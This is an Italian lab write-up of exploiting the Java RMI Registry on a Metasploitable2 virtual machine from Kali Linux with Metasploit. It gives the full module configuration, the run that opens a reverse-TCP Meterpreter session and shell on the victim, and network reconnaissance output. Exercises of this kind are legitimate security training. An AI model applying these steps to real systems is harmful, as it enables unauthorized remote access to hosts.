

Progetto S7/L5 - Exploit Java RMI

Introduzione: l'obiettivo dell'esercizio è stato quello di individuare e sfruttare una vulnerabilità presente sul servizio Java RMI Registry (porta TCP 1099) esposto dalla macchina Metasploitable2. Tramite l'utilizzo del framework Metasploit, l'attaccante (macchina Kali Linux) deve ottenere una sessione remota Meterpreter sulla macchina vittima, al fine di raccogliere informazioni di rete (configurazione delle interfacce e tabella di routing).

Configurazione del laboratorio:

- Macchina attaccante (Kali Linux): 192.168.11.111
- Macchina vittima (Metasploitable2): 192.168.11.112

Entrambe le macchine sono state configurate sulla stessa rete virtuale, in modo da permettere la comunicazione diretta.

Attività svolte:

1. Verifica della connettività

Il primo passo è stato verificare che la macchina attaccante potesse comunicare con la vittima tramite il comando ping.

```
(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.58 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.518 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.480 ms
^C
--- 192.168.11.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 0.480/0.860/1.584/0.511 ms
```

La macchina ha risposto regolarmente, confermando la raggiungibilità.

2. Scansione delle porte con Nmap

Per identificare i servizi esposti sulla macchina vittima è stato utilizzato nmap.

```
(kali@kali)-[~]
$ nmap 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 06:35 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00058s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  cproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:34:20:AC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
```

La porta 1099/tcp risulta aperta, con il servizio rmiregistry.

3. Avvio di Metasploit e ricerca exploit

È stato avviato il framework Metasploit tramite *msfconsole* e, successivamente, è stata eseguita la ricerca degli exploit relativi a Java RMI.

[illegible]

È stato individuato l'exploit *exploit/multi/misc/java_rmi_server*

4. Configurazione dell'exploit

Dopo aver caricato l'exploit con *use exploit/multi/misc/java_rmi_server*, sono stati configurati i parametri.

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
```

5. Esecuzione dell'exploit e raccolta delle informazioni

L'exploit è stato lanciato con il comando *exploit* avviando una sessione Meterpreter sulla macchina vittima. Dalla sessione sono stati lanciati i comandi *ifconfig* e *route*.

```

msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/yIAQTHrgwU9AXq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:33618) at 2025-08-29 08:21:43 -0400

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe34:20ac
IPv6 Netmask : ::

meterpreter > shell
Process 1 created.
Channel 1 created.
route -n
Kernel IP routing table
Destination    Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.11.0   0.0.0.0         255.255.255.0   U        0      0      0 eth0

```

Conclusioni

L'attività ha dimostrato come un servizio vulnerabile esposto in rete (Java RMI Registry su porta 1099) possa essere sfruttato per ottenere accesso remoto non autorizzato tramite Metasploit. In un ambiente reale, lasciare esposto un servizio non aggiornato come Java RMI rappresenta un rischio critico di compromissione. È quindi fondamentale limitare i servizi in ascolto, applicare aggiornamenti di sicurezza e monitorare le porte aperte.